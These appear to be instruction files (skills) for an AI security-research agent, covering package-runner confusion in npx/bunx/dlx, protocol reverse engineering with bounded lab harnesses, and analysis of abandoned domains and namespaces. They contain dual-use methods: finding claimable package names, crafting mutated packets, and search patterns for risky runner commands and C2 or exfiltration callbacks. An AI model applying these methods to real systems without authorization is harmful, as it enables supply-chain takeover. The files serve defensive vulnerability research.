Use this skill when a package runner may execute code from a package other than the publisher or package the workflow intended. For `npx`, `npm exec`, and `bunx`, the recurring case is a missing local executable being reinterpreted as a remotely fetched package spec. Explicit auto-fetch runners such as `pnpm dlx`, `yarn dlx`, and `deno run npm:` have different semantics; analyze them as an adjacent package-identity problem rather than pretending they share npm's fallback order.
|
||||
|
||||
Load `dependency_cve_scanning` for known vulnerable versions, `infrastructure_lifecycle` for abandoned domains or registry resources, `agentic_system_security` for the authority of an MCP/agent process, and `semantic_confusion` for the general lookup-order model.
|
||||
|
||||
## Core Condition
|
||||
|
||||
Choose the branch that matches the runner.
|
||||
|
||||
For local-first fallback (`npx`, `npm exec`, or `bunx`), require all of the following:
|
||||
|
||||
1. A target-controlled workflow invokes a bare executable or ambiguous package token.
|
||||
2. The intended package and its executable name differ, or other evidence establishes the expected publisher/package.
|
||||
3. The executable is not resolved in the workflow's real local, workspace, global, or cache context as applicable to that runner.
|
||||
4. The runner consequently selects an unintended remote package spec from its configured registry.
|
||||
5. The affected workflow reaches that package's executable with security-relevant authority.
|
||||
|
||||
For explicit auto-fetch runners (`pnpm dlx`/`pnx`/`pnpx`, `yarn dlx`, or `deno run npm:`), do not require or claim a missing-local-binary fallback. Require evidence that the command names or infers a package different from the one the workflow intended, such as a scoped-package/bin mismatch, typo, generated configuration error, or wrong publisher. Then prove the exact fetched package, chosen binary/module, execution path, and inherited authority.
|
||||
|
||||
A public package merely being outside the target's ownership is not a vulnerability. Third-party packages are normal; the mismatch between intended executable provenance and actual registry resolution is the finding.
|
||||
|
||||
## Resolution Model
|
||||
|
||||
Record the npm version because `npx` has used `npm exec` since npm 7 and resolver behavior changes between releases. For npm, model these decisions:
|
||||
|
||||
```text
|
||||
bare command
|
||||
-> executable in ancestor node_modules/.bin?
|
||||
-> executable in global bin?
|
||||
-> matching local/global package and usable bin?
|
||||
-> matching environment in the npx cache?
|
||||
-> treat the command token as a package spec
|
||||
-> fetch its manifest from the configured registry
|
||||
-> infer one executable from package.json#bin
|
||||
-> install into the npx cache and execute
|
||||
```
|
||||
|
||||
Also record:
|
||||
|
||||
- working directory and workspace root
|
||||
- local dependency tree and generated `node_modules/.bin` links
|
||||
- global prefix/bin directory and npx cache
|
||||
- `registry`, scope-specific registry rules, proxy and authentication configuration
|
||||
- command form, flags, package spec/version, TTY/CI state, and `yes` policy
|
||||
- npm's executable-inference result when the package exposes zero, one, or several `bin` entries
|
||||
|
||||
Do not collapse package-name lookup and bin selection into one step. npm can fetch a manifest yet fail because it cannot infer exactly one executable.
|
||||
|
||||
### Runner distinctions
|
||||
|
||||
Record the exact runner and version. Do not reuse npm's local/global/cache ordering for another implementation.
|
||||
|
||||
| Runner | Resolution behavior to model | Package binding / fetch control |
|
||||
|---|---|---|
|
||||
| `npx` / `npm exec` | Local/workspace/global/cache resolution followed by package-spec fallback; executable inference depends on `package.json#bin` | `--package <pkg>` binds the provider; `--no` rejects an install prompt |
|
||||
| `bunx` | Checks a locally installed package, then can install from npm into Bun's cache | `--package <pkg>` binds the provider; `--no-install` forbids installation |
|
||||
| `yarn dlx` | Downloads the command-named package into a temporary environment by default; this is not a local-bin fallback | `--package <pkg>` selects a different provider package |
|
||||
| `pnpm dlx` / `pnx` / `pnpx` | Fetches and hotloads a registry package, then runs its default binary; project trust policies are version-dependent | `--package=<pkg>` selects the provider; prefer declared dependencies plus `pnpm exec` when remote fetch is unintended |
|
||||
| `deno run npm:<pkg>` | Uses an explicit npm package spec and cache; a subpath can select a binary | Pin the package/subpath and model lock, cache, lifecycle-script, and Deno permission settings |
|
||||
|
||||
Treat mutable tags and ranges such as `latest`, `next`, `@2`, caret, and tilde ranges as selectors, not pins. A privileged repeatable workflow needs an exact reviewed version plus lockfile/integrity enforcement where the runner supports it.
|
||||
|
||||
## High-Signal Patterns
|
||||
|
||||
### Bare executable fallback
|
||||
|
||||
```text
|
||||
npx internal-tool
|
||||
npx -y internal-tool
|
||||
npm exec -- internal-tool
|
||||
```
|
||||
|
||||
The signal is strongest in CI, release scripts, bootstrap commands, developer setup, and tool/agent configuration where the same command is run repeatedly.
|
||||
|
||||
### Scoped package versus unscoped bin
|
||||
|
||||
A scoped package can expose an unscoped executable:
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "@org/tooling",
|
||||
"bin": { "org-tool": "./bin/run.js" }
|
||||
}
|
||||
```
|
||||
|
||||
Inside a correctly installed workspace, `npx org-tool` may resolve `node_modules/.bin/org-tool`. Outside that tree, the same command can fall back to the public package named `org-tool`. Treat documentation, MCP configuration, and bootstrap scripts as separate execution contexts rather than assuming the repository-local result applies everywhere.
|
||||
|
||||
### Agent and MCP launchers
|
||||
|
||||
Inspect `.mcp.json`, editor/desktop agent configuration, devcontainers, and generated tool launchers for `command: npx` plus `-y` and a bare package or binary name. Combine this resolver analysis with `agentic_system_security` to determine the credentials, tools, files, and network access inherited by that process.
|
||||
|
||||
## Candidate Collection
|
||||
|
||||
Search executable surfaces and retain file, line, command, and execution context:
|
||||
|
||||
```bash
|
||||
rg -n --no-heading -g '!node_modules' -g '!**/dist/**' \
|
||||
-e '\b(npx|npm\s+exec|bunx|pnx|pnpx|pnpm\s+dlx|yarn\s+dlx)\s+[^[:space:]]+' \
|
||||
-e '\bdeno\s+run\b[^\n]*\bnpm:' \
|
||||
-e '"command"\s*:\s*"(npx|bunx|pnx|pnpx|pnpm|yarn|deno)"' \
|
||||
-e '"args"\s*:\s*\[[^]]*"(dlx|npm:[^"]+|-y)"' \
|
||||
.
|
||||
```
|
||||
|
||||
Search the source/configuration tree rather than a fixed file list: these commands also live in
|
||||
`scripts/`, husky/lint-staged hooks, `turbo.json`/`nx.json` task definitions,
|
||||
`.circleci/`, composite-action `action.yml`, devcontainer `postCreateCommand`,
|
||||
nested workspace `package.json` files, and editor/agent config under
|
||||
`.cursor/`, `.vscode/`, and `.mcp.json`. If generated output is itself shipped or executed, search its specific directory separately instead of globally including every `dist/` artifact.
|
||||
|
||||
Also inspect:
|
||||
|
||||
- package scripts and lifecycle hooks
|
||||
- workspace package `name` and `bin` maps
|
||||
- READMEs and generated setup instructions
|
||||
- CI composite actions and reusable workflows
|
||||
- source maps or bundled package metadata that reveal internal commands
|
||||
|
||||
Discard paths, shell variables, flags, Node built-ins, and text that is not executed or presented as an executable command.
|
||||
|
||||
## Establish the Actual Resolution
|
||||
|
||||
Prefer inspecting the existing dependency tree, lockfile, workspace packages, and `.bin` links. Do not run `npm ci` merely to decide whether a command is local: it changes the tree and can execute lifecycle scripts.
|
||||
|
||||
For a version-controlled reproduction environment, record npm's registry lookup without allowing a missing package to be installed:
|
||||
|
||||
```bash
|
||||
npx --no --loglevel=http <candidate>
|
||||
```
|
||||
|
||||
Interpret this carefully:
|
||||
|
||||
- a local executable may run immediately; `--no` only refuses missing-package installation
|
||||
- an HTTP registry request shows fallback, not ownership or successful execution
|
||||
- a cancellation naming the missing package shows npm's chosen package spec
|
||||
- cache, global installs, parent directories, workspaces, and registry configuration can change the result
|
||||
|
||||
Repeat the resolution analysis in every context that matters: repository root, documented launch directory, CI checkout, generated agent configuration, and bootstrap-before-install flow. Do not substitute a clean empty directory for the target context except to understand npm's generic name mapping.
|
||||
|
||||
Do not apply `npx --no` as a generic dry-run flag. Use `bunx --no-install` only for Bun's local-resolution question. `dlx` and `deno run npm:` already name a remotely resolvable package, so validate their package spec, registry, cache/lock, selected binary or subpath, and permissions using that runner's own behavior.
|
||||
|
||||
## Ownership and Registry State
|
||||
|
||||
Query the exact registry selected by the target configuration, then distinguish:
|
||||
|
||||
- intended package owned by the expected publisher
|
||||
- unrelated public package with the same name
|
||||
- unregistered name (`404` from a functioning registry)
|
||||
- private or access-controlled name (`401`/`403`)
|
||||
- transient/rate-limited/blocked lookup (`429`, `5xx`, timeout)
|
||||
- placeholder, reserved, disputed, or previously unpublished name
|
||||
|
||||
Before trusting any of those states, check whether the target's lookup path can distinguish a known existing package from a newly generated negative control. Resolve the registry from the same working directory and configuration used by the target:
|
||||
|
||||
```bash
|
||||
# Public npm example; use a known package from the actual registry when different.
|
||||
task_registry="$(npm config get registry)"
|
||||
npm view --registry="$task_registry" lodash name --json
|
||||
npm view --registry="$task_registry" "$(openssl rand -hex 12)" name --json
|
||||
```
|
||||
|
||||
Run the pair through the same `.npmrc`, scope routing, authentication, proxy, and egress path as the candidate. Direct `curl` requests to the public registry are a separate observation unless the target runner uses that exact route. A successful pair establishes coarse positive/negative discrimination, not authenticity of every candidate response; verify that returned documents name the requested package and contain plausible registry metadata.
|
||||
|
||||
If the pair fails or returns indistinguishable responses, mark the target-path registry state `UNKNOWN`. An independently verified public-registry response may characterize public state, but it does not prove what the target runner resolves. Re-confirm candidate absence before relying on it.
|
||||
|
||||
A `404` proves absence from that registry at that time; it does not by itself prove that registration would be accepted. Registry similarity, trademark, reservation, security-hold, and unpublish rules remain separate facts. Two concrete cases to check rather than infer:
|
||||
|
||||
- A registry-owned security placeholder occupies the name even when its only version is `0.0.1-security`. Do not identify one from the version alone: inspect the packument, description, dist-tags, top-level and version-level maintainers, and version publisher such as `_npmUser`.
|
||||
- npm rejects new unscoped names that collide with an existing package after `.`, `-`, and `_` are removed. Normalize both the candidate and existing names: looking up only the candidate's stripped form catches `some-tool` versus `sometool`, but misses the reverse direction when the existing package contains punctuation. Treat this as registry-policy eligibility evidence, not a guarantee that registration would otherwise succeed.
|
||||
|
||||
When a candidate name is already registered, distinguish the target's own
|
||||
organization from an unrelated party before calling it a clash. Correlate `npm owner ls <name>`, version-level publisher metadata, known target-controlled npm organizations, and independently verified repository provenance. Repository/homepage fields are self-asserted supporting evidence and do not settle ownership alone. If publisher identity remains ambiguous, mark it `UNKNOWN`.
|
||||
|
||||
## Validation and Impact
|
||||
|
||||
Demonstrate the complete resolver statement:
|
||||
|
||||
```text
|
||||
target-controlled invocation and context
|
||||
-> intended executable absent
|
||||
-> exact public package spec selected
|
||||
-> package ownership/availability state
|
||||
-> execution trigger and inherited authority
|
||||
```
|
||||
|
||||
Do not report an unregistered name without an execution path, or an execution path whose command is satisfied locally in every relevant context. Derive impact from the environment that executes the package: developer workstation, CI job, release pipeline, agent runtime, container build, or documentation-only workflow.
|
||||
|
||||
## Reporting
|
||||
|
||||
There is no CVE and no vulnerable installed version here, so this does not go through `create_dependency_report`; that tool requires an advisory-matched CVE. Use `create_vulnerability_report` only after the applicable core condition is fully verified.
|
||||
|
||||
A registry lookup or `404` alone is candidate evidence, not a working PoC. The report must preserve the target invocation and execution context, show the exact selected package and binary/module, demonstrate the runner's execution transition in a representative controlled setup without publishing the contested name, and establish the authority inherited by that process. When source is available, include the responsible invocation/configuration and concrete fix in `code_locations`.
|
||||
|
||||
Do not file documentation/comment-only references, locally satisfied commands, unregisterable names, ambiguous ownership, or chains that stop before package execution. Retain them as investigation notes only when useful.
|
||||
|
||||
Derive CVSS from the demonstrated path rather than a fixed severity label. Account for required developer/user action, registry and configuration prerequisites, runner permissions, credential availability, and the confidentiality, integrity, and availability actually exposed. A CI, release, container-build, or agent context can be severe, but the context name alone does not establish High or Critical impact.
|
||||
|
||||
Deduplicate by root cause, affected asset/workflow, and remediation. Combine call sites when the same configuration mistake and fix apply; keep separate findings when the same candidate name affects different products, tenants, runner semantics, authority, or fixes.
|
||||
|
||||
## False Positives
|
||||
|
||||
- The executable is provided by a declared dependency in every real execution context.
|
||||
- `npx --package @scope/pkg <bin>` explicitly binds the executable to the intended package.
|
||||
- A versioned package spec or scope-specific registry points to the intended publisher.
|
||||
- The public package is the deliberately selected third-party tool.
|
||||
- npm fetches the manifest but cannot infer or execute a bin.
|
||||
- The reference appears only in generated/minified text with no executable call site.
|
||||
- A registry/proxy error is misread as an unregistered name, or the target-path control pair is inconclusive.
|
||||
- A package is absent but registry policy prevents the contested registration.
|
||||
- The command resolves to the deliberately selected ecosystem tool and expected publisher.
|
||||
- The already-registered name belongs to the target's own organization.
|
||||
- An explicit `dlx` or `npm:` package spec is treated as missing-local fallback without evidence of a package/publisher mismatch.
|
||||
|
||||
## Remediation
|
||||
|
||||
- Install the intended package and invoke its local executable through an npm script.
|
||||
- For npm, bind and pin the provider: `npx --package @org/tool@<version> org-tool`; use `--no` when a missing dependency must fail.
|
||||
- For Bun, use `bunx --package @org/tool@<version> org-tool` and `--no-install` when remote installation is not intended.
|
||||
- Replace `yarn dlx`/`pnpm dlx` in repeatable or privileged workflows with a declared, locked dependency plus the runner's local `exec` command. When ephemeral execution is required, bind and pin the provider package explicitly.
|
||||
- For Deno, pin the `npm:` package and binary subpath, retain a reviewed lockfile, use cache-only operation where appropriate, and grant only the permissions the command requires.
|
||||
- Route private scopes to the intended registry and prevent public fallback.
|
||||
- Pin package versions and lockfiles in privileged workflows.
|
||||
- Replace bare `npx -y <name>` agent launchers with reviewed, publisher-qualified, version-pinned package specs.
|
||||
|
||||
## Summary
|
||||
|
||||
Treat package-runner confusion as an identity and execution-context bug. Prove the runner-specific transition, distinguish binary names from package names, verify registry and publisher state without equating absence with eligibility, and report only a complete execution path under the affected workflow's actual authority.
|
||||
@@ -105,6 +105,39 @@ tree-sitter parse -q <file>
|
||||
|
||||
Use outputs to improve route/symbol/sink maps for subsequent targeted scans.
|
||||
|
||||
## Cross-Component Semantic Mapping
|
||||
|
||||
Pattern scanners find local sinks but often miss a security decision in one component followed by a different interpretation in another. For complex middleware, proxies, frameworks, and plugin systems:
|
||||
|
||||
1. Identify shared request/context fields and every writer/reader.
|
||||
2. Order the readers and writers by lifecycle phase: parse, route, authenticate, rewrite, authorize, dispatch, render.
|
||||
3. Mark fields whose semantic type changes (URL/path, MIME/handler, alias/package, external/internal route).
|
||||
4. Trace normal, error, retry, subrequest, and internal-redirect paths separately.
|
||||
5. Compare the representation checked by security code with the representation consumed by the final sink.
|
||||
|
||||
Load `semantic_confusion` when this graph reveals overloaded fields, multiple parsers, normalization steps, or protocol translation.
|
||||
|
||||
## Resolution and Namespace Risks
|
||||
|
||||
In repositories with developer tooling, plugins, templates, or package runners, inspect lookup order rather than only dependency versions:
|
||||
|
||||
- command runners that fall back from local binaries or `PATH` to a public registry
|
||||
- scoped/private package names exposing unscoped binary or alias names
|
||||
- plugin, template, module, and autoload search paths writable by a lower-privileged actor
|
||||
- CI/composite actions and devcontainer/bootstrap scripts that transitively execute package commands
|
||||
- missing local artifacts that silently activate a remote or broader fallback
|
||||
|
||||
Record candidate names and verify ownership/existence without claiming or publishing them. A namespace gap is reportable only when the target actually resolves or executes the attacker-contestable name under realistic conditions.
|
||||
|
||||
For npm/JavaScript, distinguish the package name from the executable name and
|
||||
model the actual working directory, dependency tree, global bin directory,
|
||||
cache, and registry configuration. `load_skill(["npx_confusion"])` when a bare
|
||||
`npx`/`npm exec` command may fall back from a missing executable to a public
|
||||
package. Trivy cannot detect this class because no installed package version
|
||||
needs to be vulnerable.
|
||||
|
||||
Load `infrastructure_lifecycle` when source, images, firmware, or history contain abandoned domains, provider resources, package namespaces, update URLs, mail identities, telemetry, or control endpoints. Use targeted string/dataflow analysis when this is the research question; the full baseline scanner bundle is not required merely to trace one endpoint consumer.
|
||||
|
||||
## Secret and Supply Chain Coverage
|
||||
|
||||
Detect hardcoded credentials:
|
||||
|
||||
@@ -0,0 +1,176 @@
|
||||
---
|
||||
name: protocol-reverse-engineering
|
||||
description: Authorized analysis of undocumented, proprietary, binary, or stateful network protocols using passive captures, client/server artifacts, explicit state machines, bounded lab harnesses, and semantic vulnerable-versus-fixed validation
|
||||
---
|
||||
|
||||
# Protocol Reverse Engineering
|
||||
|
||||
Use this skill when an exposed service cannot be tested correctly as isolated HTTP-like requests: custom RPC, binary framing, TLS-wrapped management protocols, message queues, VPN negotiation, in-band control records, or any protocol whose authentication and parsing depend on prior state.
|
||||
|
||||
The objective is a reviewable protocol model and controlled evidence that proves or disproves a security property. A socket connection, completed TLS handshake, `200`, or parser crash does not prove authentication, authorization, or code execution.
|
||||
|
||||
## Authorization and Safety Boundary
|
||||
|
||||
- Work from supplied artifacts, offline captures, or an isolated lab target unless active testing is explicitly authorized.
|
||||
- Prefer offline parsing. Captures may contain credentials, session material, personal data, or private topology; minimize, encrypt, redact, and expire them.
|
||||
- Never replay production credentials or captured authentication material.
|
||||
- Put active harnesses in a network namespace or isolated VLAN with an explicit destination allowlist, low rate, bounded retries, and one mutation at a time.
|
||||
- Do not broadcast, scan unrelated addresses, or start mutation/fuzz loops by default.
|
||||
- Treat a malformed-packet crash as a denial-of-service test. Perform it only in a restartable lab and never infer RCE from it.
|
||||
|
||||
## Build the Protocol Model
|
||||
|
||||
Record each layer separately:
|
||||
|
||||
| Layer | Questions |
|
||||
|---|---|
|
||||
| Transport | TCP, UDP, HTTP tunnel, queue, Unix socket, reconnect behavior? |
|
||||
| Security | TLS/mTLS, certificate role, message MAC/signature, encryption boundary? |
|
||||
| Framing | magic, version, type, flags, length, checksum, terminator, nesting? |
|
||||
| State | negotiation, challenge, authentication, session, command, teardown? |
|
||||
| Identity | where is peer/user/device identity introduced and verified? |
|
||||
| Authorization | which state or role permits each operation? |
|
||||
| Data model | integers, strings, TLV, XML/JSON, compression, serialization? |
|
||||
| Responses | acknowledgements, errors, correlation IDs, timing, connection close? |
|
||||
|
||||
Maintain a message-field ledger:
|
||||
|
||||
```text
|
||||
offset/path | size/type | endian/encoding | producer | consumer | validation | state | confidence
|
||||
```
|
||||
|
||||
Label every statement as observed, inferred, or experimentally confirmed. Unknown bytes remain unknown; do not name them after a single sample.
|
||||
|
||||
## Workflow
|
||||
|
||||
### 1. Collect Passive Evidence
|
||||
|
||||
Use, in order of preference:
|
||||
|
||||
- official protocol or integration documentation
|
||||
- offline captures of a legitimate client/server exchange
|
||||
- client binaries, SDKs, schemas, constants, error strings, and debug logs
|
||||
- server handlers, dispatch tables, configuration, and certificate logic
|
||||
- vulnerable/fixed captures or binaries from the same branch
|
||||
|
||||
Use two supplied or explicitly authorized successful sessions and controlled variations when available. Otherwise record the evidence gap; do not obtain or replay production credentials merely to complete the model. Compare message boundaries, counters, nonces, lengths, identity fields, and state-dependent responses. Keep the original capture immutable and hash it.
|
||||
|
||||
Use [TShark](https://www.wireshark.org/docs/man-pages/tshark.html) for reproducible offline extraction:
|
||||
|
||||
```bash
|
||||
tshark -r session.pcapng -q -z conv,tcp
|
||||
tshark -r session.pcapng -Y 'tcp.stream == 0' -T fields \
|
||||
-e frame.number -e tcp.seq -e tcp.len -e tcp.payload
|
||||
```
|
||||
|
||||
Prefer `-r` over live capture. Do not run Wireshark/TShark as root, capture unrelated production traffic, or assume dissector output is safe or correct; use a patched build in an isolated environment for hostile captures.
|
||||
|
||||
### 2. Reconstruct Framing Before Meaning
|
||||
|
||||
- Reassemble streams before assigning message boundaries; TCP packets are not application messages.
|
||||
- Test length hypotheses against multiple messages and both directions.
|
||||
- Identify byte order, signedness, alignment, padding, compression, and checksums.
|
||||
- Separate outer transport/tunnel framing from the inner application message.
|
||||
- For nested formats, model each parser boundary independently.
|
||||
- Reject impossible lengths before allocation, recursion, decompression, or slicing.
|
||||
|
||||
When the layout stabilizes, encode it in a declarative grammar such as [Kaitai Struct](https://kaitai.io/). Add `valid` constraints and strict size/count limits; generated parsers can still allocate or recurse dangerously on hostile lengths. Keep compiler/runtime versions aligned and regression-test the grammar on positive, truncated, oversized, and unknown-type samples.
|
||||
|
||||
### 3. Recover the State Machine
|
||||
|
||||
Write transitions explicitly:
|
||||
|
||||
```text
|
||||
DISCONNECTED -> TRANSPORT -> NEGOTIATED -> PEER_VERIFIED
|
||||
-> USER_AUTHENTICATED -> AUTHORIZED -> OPERATION
|
||||
```
|
||||
|
||||
For every transition, record:
|
||||
|
||||
- initiating message and required prior state
|
||||
- server-side check and identity source
|
||||
- success, denial, and malformed responses
|
||||
- state stored across messages or reconnects
|
||||
- timeout/replay/counter behavior
|
||||
- whether an alternate message type reaches the same handler
|
||||
|
||||
Distinguish transport establishment, peer verification, user authentication, session creation, role authorization, and successful privileged action. Prove the specific boundary relevant to the security claim.
|
||||
|
||||
### 4. Trace Fields to Decisions and Sinks
|
||||
|
||||
From binaries or source, anchor on message IDs, error strings, constants, certificate handling, dispatcher tables, and changed functions. Trace attacker-controlled fields through:
|
||||
|
||||
- length arithmetic, allocation, copy, termination, and integer conversion
|
||||
- parser state, tag nesting, recursion, and unknown-field behavior
|
||||
- identity selection, trust flags, signature/certificate verification, and session lookup
|
||||
- shell/process calls, filesystem paths, deserialization, reflection, or product-native admin operations
|
||||
|
||||
Decompiler output is a hypothesis. Confirm important conditions in assembly, bytecode, runtime logs, or controlled packet results.
|
||||
|
||||
### 5. Build a Bounded Active Harness
|
||||
|
||||
Only craft packets after valid framing and state are understood. [Scapy](https://scapy.readthedocs.io/en/stable/) is appropriate for packet layers and stateful automata:
|
||||
|
||||
```bash
|
||||
python -m pip install 'scapy==<reviewed-version>'
|
||||
```
|
||||
|
||||
Start with a local responder or replay parser, not the appliance. Preserve a known-good transcript, mutate one semantic field, recompute dependent lengths/checksums, and compare the response. The harness must enforce:
|
||||
|
||||
- exact destination/port allowlist
|
||||
- one target and one mutation by default
|
||||
- rate, packet count, response size, timeout, and retry ceilings
|
||||
- no broadcast/multicast and no automatic crash retry
|
||||
- artifact logging without credentials or secret payloads
|
||||
- cleanup and target health check after each risky case
|
||||
|
||||
Raw sockets may require privilege; isolate socket creation and drop privileges afterward where possible.
|
||||
|
||||
### 6. Design Semantic Experiments
|
||||
|
||||
Prefer experiments that answer one question:
|
||||
|
||||
- Does an invalid identity or signature reach the authorized state?
|
||||
- Does a declared length govern copying, parsing, or only framing?
|
||||
- Do duplicate/unknown fields change the selected handler?
|
||||
- Does patched behavior add validation, change state, or block an outer route?
|
||||
- Does a response prove the operation, or merely that dispatch began?
|
||||
|
||||
Use vulnerable, fixed, and malformed-negative controls. Repeat enough to separate deterministic semantics from loss, retransmission, process restart, load balancing, and timeout noise.
|
||||
|
||||
## Safe Oracles
|
||||
|
||||
Prefer, from least to most invasive:
|
||||
|
||||
1. distinctive protocol/version field
|
||||
2. deterministic denial-versus-accept response
|
||||
3. synthetic-account no-op or non-secret lab read
|
||||
4. unique constant callback through explicitly authorized, preferably self-hosted OAST
|
||||
5. inert canary write with cleanup
|
||||
6. process execution only under separate explicit authorization when no lower-harm oracle can establish the required impact
|
||||
|
||||
A connection close is normally an ambiguous result. If crash validation is unavoidable, combine lab-only process logs, restart evidence, and a non-triggering control; report bug existence separately from exploitability.
|
||||
|
||||
When the starting point is an advisory, fixed build, patch, or public PoC, pair this skill with `advisory_to_poc` for evidence classification, artifact comparison, and partial-fix review.
|
||||
|
||||
## Patch and Version Differentials
|
||||
|
||||
- Compare message/state behavior across the closest vulnerable and fixed builds of the same branch.
|
||||
- Derive a fingerprint from the restored invariant, not only from banners.
|
||||
- Check configuration, certificate role, feature enablement, architecture, and deployment mode.
|
||||
- Treat protocol differences as version evidence unless they directly prove vulnerable behavior.
|
||||
- When one handler is patched, enumerate sibling message types, alternate transports, and pre-auth dispatch paths using the same parser or decision.
|
||||
|
||||
## Validation Deliverable
|
||||
|
||||
Include:
|
||||
|
||||
1. target versions, platform, configuration, and artifact/capture hashes
|
||||
2. layered protocol diagram and message-field ledger
|
||||
3. explicit state machine and identity/authentication/authorization boundaries
|
||||
4. source/binary trace for the relevant field and decision
|
||||
5. bounded harness with rate/destination safeguards
|
||||
6. vulnerable, fixed, and negative-control results
|
||||
7. minimum safe oracle and any side effects/cleanup
|
||||
8. unresolved fields, assumptions, and confidence levels
|
||||
9. bug-existence versus exploitability assessment
|
||||
@@ -0,0 +1,227 @@
|
||||
---
|
||||
name: infrastructure-lifecycle
|
||||
description: Discovery and security analysis of abandoned or ownership-drifted infrastructure trusted by software, firmware, DNS, mail, update systems, packages, scripts, telemetry, and deployed agents
|
||||
---
|
||||
|
||||
# Infrastructure Lifecycle Trust
|
||||
|
||||
Use this skill when a product, application, device, image, or organization continues to trust an external name or provider resource whose ownership can expire, be deleted, be reassigned, or move outside the intended organization.
|
||||
|
||||
This is broader than subdomain takeover. The vulnerable asset may make outbound requests to a retired update bucket, load JavaScript from an abandoned domain, send mail to an expired MX domain, query a reassigned WHOIS/RDAP server, install from a missing package namespace, or beacon to an embedded telemetry/control endpoint. The security property is continuity of ownership across the full lifetime of every trust consumer.
|
||||
|
||||
## Trust-Consumer Graph
|
||||
|
||||
Model each dependency:
|
||||
|
||||
```text
|
||||
consumer/version/deployment
|
||||
-> embedded logical name or URL
|
||||
-> DNS/provider/package resolution chain
|
||||
-> current owner/controller
|
||||
-> content/protocol accepted
|
||||
-> privilege and trigger in the consumer
|
||||
```
|
||||
|
||||
Record separately:
|
||||
|
||||
- where the reference is stored: source, binary, firmware, image layer, config, database, IaC, documentation, update metadata
|
||||
- deployed versions and whether the consumer still runs
|
||||
- endpoint type, resolution chain, TLS/signature/authentication requirements, and fallback order
|
||||
- current registration/provider ownership and historical ownership
|
||||
- request trigger, frequency, payload/data sent, and response/content interpretation
|
||||
- consumer privilege: browser origin, installer/root, CI runner, mail receiver, parser, agent, or telemetry process
|
||||
- decommission owner, renewal/update process, and monitoring coverage
|
||||
|
||||
A domain or bucket being available is only half the finding. Show that a live in-scope consumer still trusts it and what that consumer would accept.
|
||||
|
||||
## Control and Claimability Levels
|
||||
|
||||
Do not collapse these into one claim:
|
||||
|
||||
| Level | Evidence |
|
||||
|---|---|
|
||||
| Indicator | NXDOMAIN, expired registration, provider tombstone, missing package/resource |
|
||||
| Authoritative availability | Registrar/provider/package authority confirms the exact name/resource can be acquired or bound |
|
||||
| Acquisition/control | Authorized tester controls the registrable domain, resource, namespace, or provider binding |
|
||||
| Protocol identity | Required DNS, custom-host binding, TLS certificate, authentication, or protocol handshake succeeds |
|
||||
| Consumer acceptance | A live in-scope consumer contacts the controlled endpoint and accepts the relevant response semantics |
|
||||
|
||||
Record the highest proven level for every consumer. Before acquisition or provider binding, determine whether control can immediately receive existing third-party traffic and apply the Passive Sensor and Sinkhole plan below.
|
||||
|
||||
## High-Value Dependency Classes
|
||||
|
||||
### Update and Code Distribution
|
||||
|
||||
- firmware/software update URLs, manifests, package indexes, installers, drivers, VM/container images
|
||||
- CDN/object-storage buckets serving binaries, scripts, templates, rules, signatures, or configuration
|
||||
- browser JavaScript/CSS imports and desktop/mobile auto-update channels
|
||||
- bootstrap, CI, devcontainer, build, and installation scripts
|
||||
- model/agent skill, plugin, prompt, MCP server, and tool-definition update channels
|
||||
|
||||
Record signature, hash, certificate, pinning, version/rollback, and content-type enforcement. TLS alone authenticates the current domain controller, not continuity with the original publisher.
|
||||
|
||||
### Naming and Package Resolution
|
||||
|
||||
- missing public/private package names, scoped package versus executable alias, plugin/module/template namespaces
|
||||
- `PATH`, autoload, search path, registry, cache, mirror, and remote fallback order
|
||||
- provider-generated hostnames or globally unique resource names released on deletion
|
||||
- legacy aliases retained in manifests, lockfiles, scripts, or installed products
|
||||
|
||||
Do not register or publish candidate names merely to test them without explicit authorization and a containment plan. Prove the consumer's resolution behavior first.
|
||||
|
||||
Registry "missing" responses are not interchangeable with "claimable".
|
||||
Similarity, reservation, security-hold, dispute, and unpublish rules can block
|
||||
a name that returns `404`; verify ownership and registry policy separately.
|
||||
Load `npx_confusion` when the consumer first treats a missing executable as an
|
||||
npm package spec. Model other ecosystems independently rather than assuming
|
||||
npm's resolution order applies to them.
|
||||
|
||||
### Mail and Identity
|
||||
|
||||
- expired organizational, supplier, recovery, notification, or former employee domains
|
||||
- MX targets and catch-all aliases that remain in applications, address books, SSO, password recovery, certificates, or vendor accounts
|
||||
- OAuth redirect/logout URIs, SAML endpoints, webhook callbacks, CORS/CSP allowlists, and trusted-origin lists tied to retired hosts
|
||||
- domain-based tenant verification and support/administrative identity flows
|
||||
|
||||
Differentiate ability to receive a tester-created message from interception of real correspondence. Do not access unrelated mail or use received secrets/credentials.
|
||||
|
||||
### Telemetry, Control, and Protocol Infrastructure
|
||||
|
||||
- crash reporting, analytics, licensing, activation, NTP/DNS, support, and health-check endpoints
|
||||
- hardcoded agent/controller, webshell/C2, webhook, exfiltration, or callback domains embedded in deployed systems
|
||||
- hardcoded retired WHOIS/RDAP endpoints, certificate validation services, keyservers, mirrors, proxies, and service-discovery dependencies
|
||||
- local/remote management domains in appliances, mobile apps, extensions, and container images
|
||||
|
||||
Treat unexpected inbound traffic as potentially sensitive. Passive receipt does not authorize interaction, command issuance, credential use, or expansion beyond the approved sensor purpose.
|
||||
|
||||
## Discovery
|
||||
|
||||
### Source, Image, and Firmware Corpus
|
||||
|
||||
Extract hostnames, URLs, email domains, bucket names, package names, registry endpoints, and certificate subjects from:
|
||||
|
||||
- source and history, lockfiles, CI/IaC, release assets, SBOMs
|
||||
- container/VM layers including deleted-file history
|
||||
- firmware rootfs, strings/resources, scripts, configs, examples, and updater logic
|
||||
- JavaScript/mobile/desktop bundles, extensions, templates, and documentation
|
||||
- logs and network captures from controlled normal operation
|
||||
|
||||
Use staged extraction rather than relying on one broad regex:
|
||||
|
||||
```bash
|
||||
# URLs and email addresses
|
||||
rg -n -i 'https?://|wss?://|s3[.-]|blob\.core\.|[A-Z0-9._%+-]+@[A-Z0-9.-]+' extracted/
|
||||
|
||||
# Then query format-aware config keys, DNS/MX data, certificate metadata,
|
||||
# package manifests, and binary strings for bare hostnames/namespaces.
|
||||
```
|
||||
|
||||
Review bare-hostname candidates for prose, source-map, test, and generated-data false positives. Deduplicate content-addressed layers and repeated vendor boilerplate so prevalence is not inflated. Preserve the source file, artifact hash, version, and surrounding semantic context for every candidate.
|
||||
|
||||
### Ownership and Resolution History
|
||||
|
||||
- Resolve A/AAAA/CNAME/NS/MX/TXT/CAA and retain complete chains.
|
||||
